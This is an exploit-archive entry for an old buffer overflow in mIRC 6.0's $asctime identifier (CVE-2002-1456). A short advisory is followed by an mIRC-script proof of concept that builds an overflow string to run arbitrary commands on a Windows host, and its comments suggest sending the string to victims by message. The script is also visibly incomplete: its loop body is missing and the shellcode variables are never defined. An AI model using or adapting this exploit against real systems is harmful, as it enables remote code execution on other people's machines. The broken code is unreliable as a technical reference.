mIRC 6.0 Scripting ASCTime Buffer Overflow Vulnerability. CVE-2002-1456. Remote exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/5576/info

mIRC is a chat client for the IRC protocol, designed for Microsoft Windows based operating systems. mIRC includes support for a scripting language.

A buffer overflow vulnerability has been reported in the $asctime identifier, a function in the mIRC scripting language. The error lies in the handling over oversized format specifier strings.

Exploitation will rely on a script passing untrusted input to this function. Reportedly, no such script is included in the default installation of mIRC.

; Usage:
; /asctime_poc notepad c:\autoexec.nat
; /asctime_poc command.com /c echo Your have been rooted > c:\rooted.txt
; etc :)
;
;
/asctime_poc {
; Set Show State
;
; Valid Values:
; 1 - Show Normal (This will break a ctcp request)
; 2 - Minimise (If your being evil... ;))
; 3 - Maximise
set %showstate 2

; Build Coded Command String
set %command $1-
set %count 1

set %count $calc( %count + 1)
if %count <= $len(%command) goto loop 

; Shell Code to Execute
;
; Detects mirc version, decodes the command string then calls winexec

; Build Exploit String
set %exploitstring %shellcode $+ %codedcommand $+ $chr(255) $+ $str(a, $calc(300-2- $len(%command))) $+ q $+ $chr(17) $+ $chr(64) 

; Run exploit string
;
; In the real world it would be more like
; /msg muppet weirdcommand %exploitstring
echo 1 $asctime(%exploitstring)
